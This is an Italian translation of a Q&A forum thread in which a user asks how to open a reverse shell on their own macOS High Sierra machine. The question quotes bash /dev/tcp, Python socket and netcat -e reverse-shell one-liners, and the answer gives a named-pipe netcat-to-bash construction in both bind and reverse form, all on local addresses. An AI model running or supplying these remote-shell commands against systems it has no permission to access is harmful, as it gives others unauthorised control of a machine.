Crea shell inversa usando High Sierra?

2

Sto provando per creare un listener di shell inversa usando High Sierra ma niente sembra funzionare.

Il comando bash si blocca semplicemente nel terminale e va in timeout.

bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

Gli errori del comando python con "Connessione rifiutata" quando si utilizza python o python v2.7.

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",8080));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

gli errori di comando netcat con "nc: opzione non valida -e"

nc -e /bin/bash 0.0.0.0 8080

Ho provato altre soluzioni che ho trovato online ma ti viene l'idea ...

È possibile creare una shell inversa (preferibilmente con accesso a bash) usando High Sierra?

specifiche:

sh-3.2# system_profiler SPSoftwareDataType 
Software:

    System Software Overview:

      System Version: macOS 10.13.4 (17E199)
      Kernel Version: Darwin 17.5.0
      Boot Volume: lily
      Boot Mode: Normal
      Computer Name: lily’s MacBook Air
      User Name: System Administrator (root)
      Secure Virtual Memory: Enabled
      System Integrity Protection: Enabled
      Time since boot: 2:03
    
posta lily 08.05.2018 - 22:09
fonte

1 risposta

4

Se ho capito bene, vuoi collegarti alla tua macchina High Sierra da una fonte esterna tramite qualcosa come netcat (nc), inviare comandi a bash e visualizzare la risposta.

Ci sono modi più sicuri e più semplici per farlo usando ssh, ma presumendo che si tratti di una sorta di esperimento o di un trucchetto di sviluppo, ecco come puoi fare quello che stai chiedendo.

La mia risposta è basata su una risposta che ho trovato altrove su SE ( link ), che a sua volta è basato su altri SO / SE risposte.

Per prima cosa fai un fifo:

mkfifo myfifo

Quindi inizia 'nc' usando il fifo come input, piping il suo output in bash e reindirizzando l'output di bash al fifo:

nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1

(Il flag '-i' per bash indica una shell interattiva e potrebbe non essere opportuno per questo caso d'uso.)

Dal dispositivo remoto (nel mio test, io stesso):

nc 127.0.0.1 8080

Se si desidera invertire i ruoli, ad esempio la macchina High Sierra sta stabilendo la connessione al dispositivo remoto e dando al dispositivo remoto l'accesso a bash sull'host HS, si sposta il flag di ascolto (-l). Quindi, il dispositivo remoto avvierebbe prima netcat in modalità di ascolto:

nc -l 127.0.0.1 8080

Quindi l'host di High Sierra si connetterebbe al dispositivo remoto:

nc 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1
    
risposta data 08.05.2018 - 23:12
fonte

Leggi altre domande sui tag